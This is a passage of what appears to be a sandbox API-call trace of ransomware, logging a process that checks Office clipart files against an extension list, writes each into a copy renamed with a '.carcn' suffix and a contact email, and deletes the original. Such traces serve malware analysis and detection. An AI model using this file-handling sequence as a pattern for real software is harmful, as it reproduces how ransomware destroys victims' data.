lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString=".7z") returned 3 [0263.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.902] lstrlenW (lpString=".dbf") returned 4 [0263.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.902] lstrlenW (lpString=".1cd") returned 4 [0263.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.903] lstrlenW (lpString=".jpg") returned 4 [0263.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.903] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.903] lstrlenW (lpString="BD07831_.WMF") returned 12 [0263.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.904] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=4066) returned 1 [0263.904] CloseHandle (hObject=0x54c) returned 1 [0263.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0263.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.904] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.905] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.905] GetLastError () returned 0x0 [0263.905] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0263.969] WriteFile (in: hFile=0x4bc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xff0, lpOverlapped=0x0) returned 1 [0263.970] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.970] WriteFile (in: hFile=0x4bc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.970] SetEndOfFile (hFile=0x4bc) returned 1 [0263.971] CloseHandle (hObject=0x4bc) returned 1 [0263.977] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.977] SetEndOfFile (hFile=0x54c) returned 1 [0263.979] CloseHandle (hObject=0x54c) returned 1 [0263.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0263.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.980] lstrlenW (lpString=".doc") returned 4 [0263.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.980] lstrlenW (lpString=".docx") returned 5 [0263.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.980] lstrlenW (lpString=".pdf") returned 4 [0263.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString=".xls") returned 4 [0263.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.981] lstrlenW (lpString=".xlsx") returned 5 [0263.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.981] lstrlenW (lpString=".ppt") returned 4 [0263.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString=".zip") returned 4 [0263.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.981] lstrlenW (lpString=".rar") returned 4 [0263.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString=".bz2") returned 4 [0263.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString=".7z") returned 3 [0263.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString=".dbf") returned 4 [0263.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString=".1cd") returned 4 [0263.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString=".jpg") returned 4 [0263.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.981] lstrlenW (lpString=".doc") returned 4 [0263.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString=".docx") returned 5 [0263.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.981] lstrlenW (lpString=".pdf") returned 4 [0263.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.981] lstrlenW (lpString=".xls") returned 4 [0263.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.982] lstrlenW (lpString=".xlsx") returned 5 [0263.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.982] lstrlenW (lpString=".ppt") returned 4 [0263.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.982] lstrlenW (lpString=".zip") returned 4 [0263.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.982] lstrlenW (lpString=".rar") returned 4 [0263.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.982] lstrlenW (lpString=".bz2") returned 4 [0263.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.982] lstrlenW (lpString=".7z") returned 3 [0263.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.982] lstrlenW (lpString=".dbf") returned 4 [0263.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.982] lstrlenW (lpString=".1cd") returned 4 [0263.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0263.982] lstrlenW (lpString=".jpg") returned 4 [0263.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.982] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.982] lstrlenW (lpString="BD08808_.WMF") returned 12 [0263.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.983] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=47996) returned 1 [0263.983] CloseHandle (hObject=0x54c) returned 1 [0263.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0263.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.983] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.984] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.984] GetLastError () returned 0x0 [0263.984] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0264.084] WriteFile (in: hFile=0x4b0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0264.085] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.085] WriteFile (in: hFile=0x4b0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.086] SetEndOfFile (hFile=0x4b0) returned 1 [0264.096] CloseHandle (hObject=0x4b0) returned 1 [0264.100] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.100] SetEndOfFile (hFile=0x54c) returned 1 [0264.128] CloseHandle (hObject=0x54c) returned 1 [0264.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString=".doc") returned 4 [0264.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString=".docx") returned 5 [0264.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.130] lstrlenW (lpString=".pdf") returned 4 [0264.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString=".xls") returned 4 [0264.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.130] lstrlenW (lpString=".xlsx") returned 5 [0264.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.130] lstrlenW (lpString=".ppt") returned 4 [0264.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString=".zip") returned 4 [0264.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.130] lstrlenW (lpString=".rar") returned 4 [0264.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString=".bz2") returned 4 [0264.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString=".7z") returned 3 [0264.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString=".dbf") returned 4 [0264.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString=".1cd") returned 4 [0264.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.130] lstrlenW (lpString=".jpg") returned 4 [0264.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString=".doc") returned 4 [0264.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString=".docx") returned 5 [0264.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.131] lstrlenW (lpString=".pdf") returned 4 [0264.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString=".xls") returned 4 [0264.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.131] lstrlenW (lpString=".xlsx") returned 5 [0264.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.131] lstrlenW (lpString=".ppt") returned 4 [0264.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString=".zip") returned 4 [0264.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.131] lstrlenW (lpString=".rar") returned 4 [0264.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString=".bz2") returned 4 [0264.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString=".7z") returned 3 [0264.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString=".dbf") returned 4 [0264.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString=".1cd") returned 4 [0264.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0264.131] lstrlenW (lpString=".jpg") returned 4 [0264.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.132] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0264.132] lstrlenW (lpString="BD08868_.WMF") returned 12 [0264.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0264.132] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=40206) returned 1 [0264.132] CloseHandle (hObject=0x54c) returned 1 [0264.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0264.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0264.133] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.133] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0264.134] GetLastError () returned 0x0 [0264.134] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0264.180] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0264.638] ReadFile (in: hFile=0x54c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.638] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.638] SetEndOfFile (hFile=0x550) returned 1 [0264.639] CloseHandle (hObject=0x550) returned 1 [0264.642] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.643] SetEndOfFile (hFile=0x54c) returned 1 [0264.647] CloseHandle (hObject=0x54c) returned 1 [0264.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0265.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.079] lstrlenW (lpString=".doc") returned 4 [0265.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.079] lstrlenW (lpString=".docx") returned 5 [0265.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.079] lstrlenW (lpString=".pdf") returned 4 [0265.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.079] lstrlenW (lpString=".xls") returned 4 [0265.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.080] lstrlenW (lpString=".xlsx") returned 5 [0265.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.080] lstrlenW (lpString=".ppt") returned 4 [0265.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.080] lstrlenW (lpString=".zip") returned 4 [0265.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.080] lstrlenW (lpString=".rar") returned 4 [0265.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".bz2") returned 4 [0265.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".7z") returned 3 [0265.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.080] lstrlenW (lpString=".dbf") returned 4 [0265.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.080] lstrlenW (lpString=".1cd") returned 4 [0265.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.080] lstrlenW (lpString=".jpg") returned 4 [0265.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.081] lstrlenW (lpString=".doc") returned 4 [0265.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".docx") returned 5 [0265.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.081] lstrlenW (lpString=".pdf") returned 4 [0265.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".xls") returned 4 [0265.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.081] lstrlenW (lpString=".xlsx") returned 5 [0265.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.081] lstrlenW (lpString=".ppt") returned 4 [0265.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.081] lstrlenW (lpString=".zip") returned 4 [0265.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.081] lstrlenW (lpString=".rar") returned 4 [0265.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".bz2") returned 4 [0265.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".7z") returned 3 [0265.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.081] lstrlenW (lpString=".dbf") returned 4 [0265.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft 